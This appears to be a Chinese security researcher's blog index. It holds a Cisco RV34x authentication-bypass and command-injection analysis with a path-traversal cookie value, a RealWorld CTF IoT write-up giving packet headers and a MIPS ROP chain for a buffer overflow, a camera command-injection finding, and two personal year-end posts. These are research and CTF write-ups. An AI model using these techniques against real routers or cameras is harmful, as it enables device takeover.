fxc233's blog
0%

Posted on Edited on

前言

这个RCE漏洞利用链的实现是由几个逻辑洞的结合而导致的，这几天我花了一些时间复现了一遍，在此记录一下。

固件解压

我下载的是RV345 v1.0.03.24，从官网下载到压缩包解压之后可以看到它的rootfs是ubi格式的img。之前我都是使用kali里的 binwalk 对其进行解压可以直接得到解压之后的文件系统。但是由于前几天我的虚拟机坏了，不得不进行重装，但是我还没有装 kali。故找了一下提取ubi格式的方式。在github上有一个项目：https://github.com/nlitsme/ubidump ，通过里面的ubidump.py可以很轻松的提取出ubi格式的文件。命令如下：

1
python3 ubidump.py -s . 0.ubi

漏洞分析

CVE-2022-20705 Improper Session Management Vulnerability

CVE-2022-20705 Improper Session Management Vulnerability，是由于nginx的配置不当导致的。nginx的配置文件是**/etc/nginx/nginx.conf**，如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
user www-data;
worker_processes  4;

error_log /dev/null;

events {
    worker_connections  1024;
}

http {
	access_log off;
	#error_log /var/log/nginx/error.log  error;

	upstream jsonrpc {
		server 127.0.0.1:9000;
	}

	upstream rest {
		server 127.0.0.1:8008;
	}

	# For websocket proxy server
	include /var/nginx/conf.d/proxy.websocket.conf;
	include /var/nginx/sites-enabled/*;
}

可以发现它又加载了**/var/nginx/conf.d/proxy.websocket.conf和/var/nginx/sites-enabled/，但是固件解压出来的rootfs里的var目录有些问题，所以笔者只能根据别人的文章找一下漏洞发生的配置文件。结合rest.url.conf和proxy.conf**来看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
location /api/ {
        proxy_pass http://rest;
        include /var/nginx/conf.d/proxy.conf;
}

location /api/operations/ciscosb-file:file-copy {
	proxy_pass http://rest;
	include /var/nginx/conf.d/proxy.conf;
	proxy_read_timeout 3600;
	proxy_send_timeout 3600;
}

location /api/operations/ciscosb-file:form-file-upload {
	set $deny 1;
 
	if ($http_authorization != "") {
		set $deny "0";
	}

	if ($deny = "1") {
		return 403;
	}


	upload_pass /form-file-upload;
	upload_store /tmp/upload;
	upload_store_access user:rw group:rw all:rw;
	upload_set_form_field $upload_field_name.name "$upload_file_name";
	upload_set_form_field $upload_field_name.content_type "$upload_content_type";
	upload_set_form_field $upload_field_name.path "$upload_tmp_path";
	upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
	upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
	upload_pass_form_field "^.*$";
	upload_cleanup 400 404 499 500-505;
	upload_resumable on;
}

location /restconf/ {
        proxy_pass http://rest;
        include /var/nginx/conf.d/proxy.conf;
}

location /restconf/operations/ciscosb-file:file-copy {
        proxy_pass http://rest;
        include /var/nginx/conf.d/proxy.conf;
        proxy_read_timeout 3600;
        proxy_send_timeout 3600;
}
1
2
3
4
5
6
7
8
9
10
proxy_http_version 1.1;
proxy_set_header Host $http_host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header Authorization $http_authorization;
proxy_set_header Accept-Encoding "";
proxy_set_header Connection "";
proxy_ssl_session_reuse off;
server_name_in_redirect off;

如果我们请求中Authorization不为空，此时set $deny “0”，就可以向下调用upload模块。它会在调用**/form-file-upload前，把文件上传到/tmp/upload下。并且由于没有设置level，它的存储格式类似/tmp/upload/0000000001。至此我们可以实现任意文件上传至/tmp/upload**。

我们接着向下分析，可以在rootfs/etc/nginx/conf.d下找到web.upload.conf如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
location /form-file-upload {
	include uwsgi_params;
	proxy_buffering off;
	uwsgi_modifier1 9;
	uwsgi_pass 127.0.0.1:9003;
	uwsgi_read_timeout 3600;
	uwsgi_send_timeout 3600;
}

location /upload {
	set $deny 1;

        if (-f /tmp/websession/token/$cookie_sessionid) {
                set $deny "0";
        }

        if ($deny = "1") {
                return 403;
        }

	upload_pass /form-file-upload;
	upload_store /tmp/upload;
	upload_store_access user:rw group:rw all:rw;
	upload_set_form_field $upload_field_name.name "$upload_file_name";
	upload_set_form_field $upload_field_name.content_type "$upload_content_type";
	upload_set_form_field $upload_field_name.path "$upload_tmp_path";
	upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
	upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
	upload_pass_form_field "^.*$";
	upload_cleanup 400 404 499 500-505;
	upload_resumable on;
}

我们可以发现其对**/upload进行了$cookie_sessionid的检验，但是并没有对/form-file-upload进行检验。我们看一下/form-file-upload**的后端处理程序。启动脚本(uwsgi-launcher)如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/sh /etc/rc.common

export UWSGI_PLUGIN_DIR=/usr/lib/uwsgi/plugins

start() {
        uwsgi -m --ini /etc/uwsgi/jsonrpc.ini &
        uwsgi -m --ini /etc/uwsgi/blockpage.ini &
        uwsgi -m --ini /etc/uwsgi/upload.ini &
}

stop() {
        killall -9 uwsgi
}

我们再去找一下**/etc/uwsgi/upload.ini**

1
2
3
4
5
6
7
8
9
10
11
12
13
[uwsgi]
plugins = cgi
workers = 1
master = 1
uid = www-data
gid = www-data
socket=127.0.0.1:9003
buffer-size=4096
cgi = /www/cgi-bin/upload.cgi
cgi-allowed-ext = .cgi
cgi-allowed-ext = .pl
cgi-timeout = 300
ignore-sigpipe = true

从上述文件中我们可以知道**/form-file-upload它对应的后端处理程序是/www/cgi-bin/upload.cgi。因此我们可以无条件访问upload.cgi**。

同时上述配置文件中我们可以看到检查了**/tmp/websession/token/$cookie_sessionid文件是否存在。但是存在缺陷，就是这里的$cookie_sessionid是用户在http请求中传进去的一个值，它并没有检查是否存在../../，也就是说我们可以通过跨目录来导致授权绕过。如：我们可以传递../../../etc/firmware_version**。

同时也可以看到在upload.cgi里对sessionid=进行了检查，限制了它的字符，但是并没有考虑到传多个sessionid=的情况。因为这里的sessionid=是遍历HTTP_COOKIE并且取出它最后一个sessionid=作为实际的sessionid=使用，所以我们可以传两个sessionid=。前一个用来绕过web.upload.conf里的判断，后一个当作正常的数据用来通过upload.cgi的判断。这样也可以实现无条件访问upload.cgi。

我们接着看upload.cgi

传入适当的参数可以使得我们有能力任意文件移动到**/tmp/www下，通过这两个漏洞我们也可以伪造出一个session**。

CVE-2022-20707 Command Injection

我们继续查看upload.cgi。

这个漏洞可以使得任意命令执行。

参考链接

https://bestwing.me/Pwning%20a%20Cisco%20RV340%20%20%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%EF%BC%88CVE-2022-20705%20%E5%92%8C%20CVE-2022-20707.html

https://blog.relyze.com/2022/04/pwning-cisco-rv340-with-4-bug-chain.html

https://paper.seebug.org/1890/

https://onekey.com/blog/advisory-cisco-rv34x-authentication-bypass-remote-command-execution/

https://nosec.org/home/detail/4985.html

文章首发

https://mp.weixin.qq.com/s/2joZwexIdVdgc5NL8W3J-A

Posted on Edited on

前言

不知不觉一年又过去了，又到了写总结的时候。自从大一结束写了一篇名为**写在大一结束的文章之后，我就在想当我写写在大二结束**时我的状态会是怎样的，会有什么样变化。不曾想过，时至今日笔者虽然感觉有很多话想说，有很多事都想记录下来，但是却突然又不知从何谈起。

文化课

看着这个小标题，突然不知该如何总结我大二这一年不尽人意的文化课结果(虽然确实自己平时也没有好好听讲)。总的来说是基本已经彻底和保研是彻底无缘了，考研的话基本上是不会去考虑了。不过好在每门也能勉强稳定在80分左右，并没有出现挂科的现象，这也许就是最大的幸运了，233。

CTF & RW

由于没什么基础，感觉CTF这块一直没能打出什么好的成绩。面对师傅们出的各种各样的题，小弟我愈发感觉跟不上大师傅们的步伐。再加上搞实战的原因，也感觉自己与CTF越走越远。但是通过CTF，我认识了很多一样对CTF，对二进制安全感兴趣的师傅们，能与他们共同努力也是人生中一段精彩的旅程。此外，幸运的是，在大二这一学年的末尾，参加 XCTF-饶派杯车联网安全挑战赛时，在强力队友的带飞下，终于拿到了人生中第一个冠军。

从大一下开始学习 IOT安全之后，一直把自己的重心放在漏洞挖掘这一块，偶尔心血来潮也会写一些轮子(没啥用的轮子)。也尝试写过 fuzz，不过经常在中途就感到自己这个fuzz是多么的辣鸡，于是它就夭折了。从挖一些简单洞，到逐渐可以获得一些中大型厂商的致谢，再到可以拿一些 bug bounty，确实会让自己产生一些小小的成就感，感觉有一点 nice。不过深知自己距离那些真正的大佬，仍然存在着遥不可及的距离。当然除了IOT，我也有着其他感兴趣的方向，如windows，浏览器等。所以，不出意外的话，从这学期开始，我会去尝试一些其他的方向，希望能有些不错的收获。也希望能在这个学年写出一个正常的 fuzz，能不能出 crash先不考虑，最起码能用起来。

暑期实习

由于没背过面经，基础也有些薄弱，面试时有些结巴，有些问题也答不上来，不过好在运气爆棚，获得了去长亭科技实习的机会。左边坐着某红队大佬，右边坐着我的 leader（exp师傅，真超级全能选手，啥都会的那种），夹在中间的我总显得格格不入。总的来说，长亭技术研究氛围确实超棒（零食也很好吃）。虽然仅在这里实习了短短两个月，却学到了很多东西，也有机会做了很多有意义的事。比如，成功挖到第一个大型工控系统的RCE，在天网杯中跟着大哥们挖到了自己第一个想挖了很久却一直没机会挖的打印机上的洞，也学到了和木马免杀有关的一些知识等等。再次给长亭的研究氛围点赞，如果你也对安全研究感兴趣，长亭科技绝对是一个很好的选择。

恋爱

未来憧憬

能和对象一直走下去，实现一个 fuzz，拿到更多的 bug bounty。。。

Posted on Edited on

写在大一结束

前言

从大一没结束到大一刚结束放暑假再到暑假结束，一直都想着要写这篇文章，但是由于本人太喜欢咕咕咕而一直耽搁了，今天正好有时间来写本文，以此记录一下我的大一生涯。这大概是我第一篇记录生活的文章吧（不确定是不是最后一篇。

文化课

对于我这种喜欢躺平的人来说，不挂科就是我对自己文化课的要求了。像什么高数，线代，电工啥的，我都是能不听则不听，考试前临时抱佛脚，让自己不挂科即可。C，C++这些专业课的话感觉也就只是讲了些皮毛的知识，正真有用的东西还得自己去看。之后在自己高中所学的英语的buff加成下，虽然英语课很少听讲，但也还是勉强考过了四六级。

CTF竞赛

有幸在我高中学长(N1k0la)的推荐下，了解到了CTF这一竞赛，最后也投身于其中。对于我这种在大学前连电脑都很少触碰到的人来说，CTF对我无疑是很有挑战性的比赛。但是好在兴趣的驱使下，我最终选择了pwn这个方向，并且可以坚持到现在。在刚开始学习pwn的路上，我这种萌新遇到的困难也特别多，很多明明很简单的东西，对我来却是难以理解的东西，真庆幸当时没有直接选择放弃，而是慢慢在朝前走。在此也感谢所有在我成长过程中对我有所帮助的大师傅们，如winmt，及学长影二，风沐云烟等等。虽然学习的过程很痛苦，但是学到的知识却令我有所成就感。前段时间刚把kernel,musl，llvm这些部分的简单题看完，希望以后能在比赛中有所发挥。同时在大一也加入了我们南邮的校队–X1cT34m，遇到了实力很强的队友以及非常优秀的各位学长。

实战状况

CTF竞赛是入门安全的很有效的途径，但实战和竞赛之间还是存在差别的。有幸遇到了沙乐天导师（史上最硬核二进制副教授），在他的带领下我有机会慢慢的接触到了二进制的实战的运用。
实战的话大概目前接触的应该算是两个方面吧：
第一个就是接触了一些路由器这种简单硬件的漏洞挖掘，也获得了一些CVE，CNVD的编号，但挖的质量并不是很好，所以依旧需要不断提高。
第二个的话就是接触了污点分析这个项目，自己也写了一个污点分析的工具，对于我这种从没写过什么项目或工具的人来说，也算得上是一种进步吧。

暑期实习

怕自己在大一结束的暑假直接摆烂，凭借自己一丢丢的CTF竞赛经验及一丢丢的实战经历找了人生中的第一份实习，中国电信的天翼安全科技公司。感谢公司能让我这种菜鸟选手拿到这实习的机会，在实习过程中遇到了厉害的前辈以及其他优秀的实习生。在公司里我也体会到作为一个打工人的感觉，感觉公司里的氛围确实不错，也学到了很多东西。

恋爱

在大一刚开始就找到了对象（高中校友），到今天算起来正好是365天。一路上也有吵吵闹闹，但还好走到了现在。在我的大一生涯中我的对象对我确实有很大的帮助和影响，在我感觉自己太菜的时候也有不断地鼓励我。最后希望我们能够一直走下去。贴几张出去玩的照片

憧憬未来

文化课不挂科（当然分数能好看一些最好），CTF竞赛参加些较为大型的赛事并能有所输出，实战能有所成果，和对象一直走下去。

最后

本人语文功底较差（毕竟高考语文没能及格），文章用词可能不太准确，语句可能也不通顺，还请大家见谅。打字好累，不想再写了，就以此文纪念我的大一生涯。

Posted on Edited on

前言

RealWorld CTF 5th 里的一道iot-pwn，根据真实设备固件改编而成，觉得题目贴近iot实战且很有意思，故在此记录一下复现过程。

题目分析

题目描述

1
2
3
4
5
6
7
8
9
10
11
12
13
Hello Hacker.
You don't know me, but I know you.
I want to play a game. Here's what happens if you lose.
The device you are watching is hooked into your Saturday and Sunday.
When the timer in the back goes off,
your curiosity will be permanently ripped open.
Think of it like a reverse bear trap.
Here, I'll show you.
There is only one UDP service to shell the device.
It's in the stomach of your cold firmware.
Look around Hacker. Know that I'm not lying.
Better hurry up.
Shell or out, make your choice.

从中可以看出漏洞大概率存在于UDP服务中。

固件分析

拿到手的是一个bin包，解压出来可以得到一个完整的文件系统。相比于常规pwn题单一的二进制而言，我们首先要做的是寻找漏洞文件。既然是真实设备改编那我们就可以先在网上找一找官方固件并尝试下载最新版本。

下载到官方的固件后，可以采取bindiff等方法去找被修改过的二进制文件。可以初步判定漏洞应该是出在ipfind程序中。

并且发现此固件为mips大端，且可疑漏洞文件没开保护。

固件模拟

我是直接用qemu去模拟的这个固件，当然也可以尝试用FirmAE，firmadyne，firmware-analysis-plus等工具去进行模拟。我的qemu启动脚本如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sudo ifconfig ens33 down
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo ifconfig br0 0.0.0.0 promisc up
sudo ifconfig ens33 0.0.0.0 promisc up
sudo dhclient br0
sudo tunctl -t tap0
sudo brctl addif br0 tap0
sudo ifconfig tap0 0.0.0.0 promisc up
sudo ifconfig tap0 192.168.2.100/24 up
sudo qemu-system-mips \
    -M malta -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_wheezy_mips_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" \
    -net nic,macaddr=00:16:3e:00:00:01 \
    -net tap,ifname=tap0,script=no,downscript=no \
    -nographic

启动完成之后用scp把固件包、gdbserver、完整的busybox等传上去。之后用如下命令切换到固件包根目录进行操作:

1
2
3
mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev
chroot ./squashfs-root/ sh

之后通过/etc/rc.d/rcS初始化服务。

启动完成之后通过./busybox-mips netstat -pantu去查看开放的端口及对应的二进制文件。

可以看到我们之前分析的可疑文件ipfind正是UDP服务。

值得注意的是我们用ps去查看进程发现执行的是/usr/sbin/ipfind br0这个命令，但我qemu的有效网卡是eth0，这样以后我们会发现无法使用gdbserver进行调试，故我们要杀死该进程，并执行/usr/sbin/ipfind eth0 &，这样我们就可以使用gdbserver进行愉快的调试了。

漏洞文件分析

首先是建立socket通信并绑定到62720端口，与刚才看到的端口一致。

接着从client端接收数据，并进行一系列的操作。之后会对数据进行一个判断，以此来确定是否进入sub_40172C函数或sub_4013F4函数。

sub_40172C函数

想进入这个函数我们可以逆出来他所需接受的内容开头应该为:

1
2
3
4
5
6
7
8
header1 = b"FIVI"
header1+= b"\x00\x00\x00\x00"
header1+= b"\x0A\x01\x00\x00"
header1+= b"\x00\x00\x00\x00"
header1+= b"\x00"
header1+= b"\xFF\xFF\xFF\xFF\xFF\xFF"
header1+= b"\x00\x00"
header1+= b"\x00\x00\x00\x00"

这个函数会调用sub_400E50得到net_get_hwaddr(ifname, a1 + 17)，实际上就是mac addr（qemu启动时可以进行设置，之后打印出来对比一下即可），并把它发送到client端。这个值对于我们进入第二个函数必不可少。

sub_4013F4函数

想进入这个函数我们可以逆出来它所需接受的内容开头应该为:

1
2
3
4
5
6
7
8
header2 = b"FIVI"
header2+= b"\x00\x00\x00\x00"
header2+= b"\x0A\x02\x00\x00"
header2+= b"\x00\x00\x00\x00"
header2+= b"\x00"
header2+= mac
header2+= b"\x00\x00"
header2+= b"\x8E\x00\x00\x00"

进入这个函数后，我们即可找到我们的漏洞函数sub_400F50，这个函数有两次base64 decode，第二次解码时会发生缓冲区溢出。

漏洞利用

因为没开保护，我们布置好rop跳到shellcode上即可。但是我们由于没有libc地址，我们需要花费一定时间在ipfind这个文件里去找gadgets进行利用。

我们想要跳转到shellcode上执行，那么我们就需要可以泄露栈地址的gadget，于是我们找到了如下的gadget来泄露栈地址：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:004013D0 sub_4013D0:                              # CODE XREF: sub_4013F4+9C↓p
.text:004013D0                                          # sub_4013F4+160↓p ...
.text:004013D0
.text:004013D0 var_8           = -8
.text:004013D0 arg_4           =  4
.text:004013D0 arg_8           =  8
.text:004013D0 arg_C           =  0xC
.text:004013D0
.text:004013D0                 addiu   $sp, -0x10
.text:004013D4                 sw      $a1, 0x10+arg_4($sp)
.text:004013D8                 sw      $a2, 0x10+arg_8($sp)
.text:004013DC                 sw      $a3, 0x10+arg_C($sp)
.text:004013E0                 addiu   $v0, $sp, 0x10+arg_4
.text:004013E4                 sw      $v0, 0x10+var_8($sp)
.text:004013E8                 addiu   $sp, 0x10
.text:004013EC                 jr      $ra
.text:004013F0                 nop

这个gadget可以控制v0为栈地址，我们向上交叉引用找到一个既能控制ra又不改变v0的gadget下：

1
2
3
4
5
6
7
8
9
10
11
12
.text:00401F98                 jal     sub_4013D0
.text:00401F9C                 li      $a0, aCanTGetHelloSo  # "Can't get hello socket\n"
.text:00401FA0                 b       loc_4020B4
.text:00401FA4                 nop

.text:004020B4 loc_4020B4:                              # CODE XREF: sub_401DF4+1AC↑j
.text:004020B4                                          # sub_401DF4+238↑j ...
.text:004020B4                 lw      $ra, 0x7C+var_s8($sp)
.text:004020B8                 lw      $s1, 0x7C+var_s4($sp)
.text:004020BC                 lw      $s0, 0x7C+var_s0($sp)
.text:004020C0                 jr      $ra
.text:004020C4                 addiu   $sp, 0x88

但是在走这条gadget之前我们得先恢复gp寄存器，并且还要考虑到a1,a2,a3寄存器对栈的影响，最好可以控制为nop指令，以免对刚才泄露出来的栈地址上指令造成影响。

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:00401218                 lw      $gp, 0x9C+var_8C($sp)
.text:0040121C                 la      $t9, close
.text:00401220                 jalr    $t9 ; close
.text:00401224                 move    $a0, $s0         # fd
.text:00401228                 move    $v0, $zero
.text:0040122C
.text:0040122C loc_40122C:                              # CODE XREF: sub_401120+80↑j
.text:0040122C                                          # sub_401120+A0↑j
.text:0040122C                 lw      $ra, 0x9C+var_s8($sp)
.text:00401230                 lw      $s1, 0x9C+var_s4($sp)
.text:00401234                 lw      $s0, 0x9C+var_s0($sp)
.text:00401238                 jr      $ra
.text:0040123C                 addiu   $sp, 0xA8

接着可以找到如下gadget使得可以跳转到S0寄存器存指向的地址中：

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:004027C0 loc_4027C0:                              # CODE XREF: sub_402790+3C↓j
.text:004027C0                 jalr    $t9
.text:004027C4                 nop
.text:004027C8
.text:004027C8 loc_4027C8:                              # CODE XREF: sub_402790+28↑j
.text:004027C8                 lw      $t9, 0($s0)
.text:004027CC                 bne     $t9, $s1, loc_4027C0
.text:004027D0                 addiu   $s0, -4
.text:004027D4                 lw      $ra, 0x1C+var_s8($sp)
.text:004027D8                 lw      $s1, 0x1C+var_s4($sp)
.text:004027DC                 lw      $s0, 0x1C+var_s0($sp)
.text:004027E0                 jr      $ra
.text:004027E4                 addiu   $sp, 0x28

最后找一个可以把v0赋给任意地址，并且可以控制s0的gadget即可：

1
2
3
4
5
6
7
8
9
10
11
12
.text:00400F28                 sw      $v0, 0xD($s0)
.text:00400F2C
.text:00400F2C loc_400F2C:                              # CODE XREF: sub_400E50+CC↑j
.text:00400F2C                 la      $v0, ifname
.text:00400F30                 lw      $a0, (ifname - 0x413138)($v0)
.text:00400F34                 la      $t9, net_get_hwaddr
.text:00400F38                 jalr    $t9 ; net_get_hwaddr
.text:00400F3C                 addiu   $a1, $s0, 0x11
.text:00400F40                 lw      $ra, 0x20+var_s4($sp)
.text:00400F44                 lw      $s0, 0x20+var_s0($sp)
.text:00400F48                 jr      $ra
.text:00400F4C                 addiu   $sp, 0x28

exploit效果

完整exploit见：https://github.com/fxc233/CTF/blob/main/IOT/RealWorldCTF-5th-ShellFind/exp.py

参考文章

https://mp.weixin.qq.com/s/Wb7SMy8AHtiv71kroHEHsQ

文章首发：ChaMd5 微信公众号

Posted on Edited on

前言

文章首发：https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247508121&idx=1&sn=e34f59e53a1394600c7e768fcbf237f9&chksm=e89d8841dfea0157a63c1a15213306739f936f3b63aa8e32ae6657a87934aec82d60bfe046b8&cur_album_id=1690922801836113920&scene=189#wechat_redirect

在看了一位师傅的关于摄像头的文章之后，我也心血来潮找了一款摄像头（某达最新款CP7）固件去挖一下练练手。

串口获取shell

拿到摄像头拆下来之后尝试了一波串口获取shell。

但是连上之后发现这个摄像头貌似无法获得一个正常的shell，只能用来看回显信息。

分析

用IDA打开摄像头相关程序之后，可以发现和那位师傅分析的固件大同小异。那么，如果我们想要挖掘新的漏洞的话也只能从不同的角度去进行挖掘了。之前那个师傅找到的是某个类似于后门的命令执行漏洞。那么我们再去找看看能不能发现一些其他的漏洞点。

首先还是绑定并监听1300端口。

然后等待用户连接1300端口。

之后获取用户端传入的内容。

接下来会对用户的输入进行判断，并进行相应的处理。偶然发现了一个和那位师傅提出的不一样的命令执行触发点。如果匹配到的是SYSTEMEX这个标签，那么会进入sub_14404函数。

这个函数中，会把所包含的字符串传入sub_16E04函数中进行操作，而这个函数里有关于popen的操作，因此可以达到一个命令执行。

exp这里就不贴了，感兴趣的师傅可以自行尝试。

总结

算是在大师傅后面捡了个漏，IOT的一些设备依旧不是很严谨，只要认真挖挖还是能找到一些漏洞的。